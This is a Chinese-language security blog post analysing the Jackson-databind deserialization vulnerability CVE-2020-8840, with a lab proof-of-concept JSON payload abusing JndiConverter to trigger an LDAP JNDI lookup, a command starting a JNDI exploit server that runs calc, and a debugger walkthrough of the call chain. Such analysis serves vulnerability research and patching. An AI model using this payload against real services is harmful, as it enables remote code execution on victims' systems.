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以CVE-2020-8840为例分析Jackson漏洞

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0x00 前言

前面讲了FastJson的相关漏洞，温少属实辛苦。这次来看下另一种JSON解析库：“世界上最好的JSON解析库—Jackson”，并以CVE-2020-8840来详细分析下Jackson的漏洞。

 

0x01 Jackson的介绍和使用

FastJson将思路全都集中到“速度快”上去，而偏离了“标准”及功能性，质量也不够好，有点“舍本逐末”的味道。而Jackson不仅开源稳定易使用，而且拥有Spring生态加持，更受使用者的青睐。

目前Jackson主要有两个分支：

  • 1.x分支，处于维护模式
  • 2.x是正在开发的版本

Jackson由三个核心部分组成：

  • jackson-core：核心包，提供基于流模式API
  • jackson-annotations：注解包，提供标准注解功能
  • jackson-databind：数据绑定包， 提供基于”对象绑定” 解析的相关 API （ ObjectMapper ） 和”树模型” 解析的相关 API

JacksonPolymorphicDeserialization

JacksonPolymorphicDeserialization意为Jackson多态类型处理功能，有两种方式：

  • Global default typing
  • Per-class annotations

Global default typing配置哪些类被序列化：

  • JAVA_LANG_OBJECT：仅影响Object.class类型的属性
  • OBJECT_AND_NON_CONCRETE：影响Object.class和所有非具体类型（抽象类，接口）PS：无参时默认为此项
  • NON_CONCRETE_AND_ARRAYS：与上面相同，并且所有数组类型都相同（直接元素是非具体类型或Object.class）
  • NON_FINAL：影响所有未声明为“final”的类型，以及非final元素类型的数组类型

Per-class annotations

除了Global default typing，还可以利用@JsonTypeInfo注解来控制序列化和反序列化。
@JsonTypeInfo一共支持五种注解：

Jackson的栗子

以默认OBJECT_AND_NON_CONCRETE为例演示一下它的功能：

package com.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JavaLangObject {
    public static void main(String[] args) throws IOException {
        People Me = new People();
        Me.age = 20;
        Me.object = new patrilic();
        Me.name = new MyName();
        Me.name.setName("lceCre4m");
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = mapper.writeValueAsString(Me);
        System.out.println("序列化");
        System.out.print(json);
        System.out.println("\n");
        People Mee = mapper.readValue(json, People.class);
        System.out.println("反序列化");
        System.out.println(Mee);
    }
}
class People {
    public int age;
    public Name name;
    public Object object;

    @Override
    public String toString() {
        return String.format("age = %d, object = %s, name = %s", age, object, name);
    }
}
class patrilic {
    public int length = 100;
}
class MyName implements Name {
    String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}
interface Name {
    public void setName(String name);
    public String getName();
}

此时正常输出：

序列化
{"age":20,"name":["com.jackson.MyName",{"name":"lceCre4m"}],"object":["com.jackson.patrilic",{"length":100}]}

反序列化
age = 20, object = com.jackson.patrilic@4cf777e8, name = com.jackson.MyName@2f686d1f

若使用JAVA_LANG_OBJECT，在反序列化时会报错，因为例子中存在非具体类型。

 

0x02 Jackson漏洞简述

Jackson的漏洞主要集中在jackson-databind中，当启用Global default typing，类似于FastJson的autoType，会存在各种各样的反序列化绕过类，而官方更新的防护措施一般都是将新出现的恶意类加入黑名单，不过这种方式治标不治本，最近jackson-databind的绕过出现不少。

下面仅以xbean-reflect类（影响2.0.0 – 2.9.10.2）为例，详细分析下Jackson的反序列化漏洞。

 

0x03 Jackson漏洞详细分析

环境搭建

环境：JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar + IDEA

首先创建好项目后添加相关依赖，之后创建poc.java：

//poc.java

package com.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class poc {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
        mapper.readValue(json, Object.class);
    }
}

然后使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建ldap环境：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc

启动后触发payload

动态分析

首先在 mapper.readValue(json, Object.class)下断点，进行调试

单步步入_readMapAndClose()，读取JSON，配置DeserializationContext后，到达else段

然后继续步入到BeanDeserializer.class#deserialize()，步入vanillaDeserialize()

在vanillaDeserialize()里调用了createUsingDefault()，里面通过call()创建实例

返回vanillaDeserialize()后，调用了deserializeAndSet()

可以看到获取value值后，调用了_setter.invoke(instance, value)

步入后，通过传进的text触发，继续步入toObject()

在toObject()调用JndiConverter重写的toObjectImp()

进入恶意类，出现lookup()，JNDI注入，其中text可控，为我们传入的参数

完整调用如下：

最新版的黑名单：

。。。太长了

 

0x04 结语

这次继FastJson后分析了Jackson的一个漏洞，其他的Jackson-databind漏洞利用也类似，基本就是换个外部类，修复就是加入黑名单。之后分析一下java的gadget，像是Commons Collections、RMI、JNDI等等。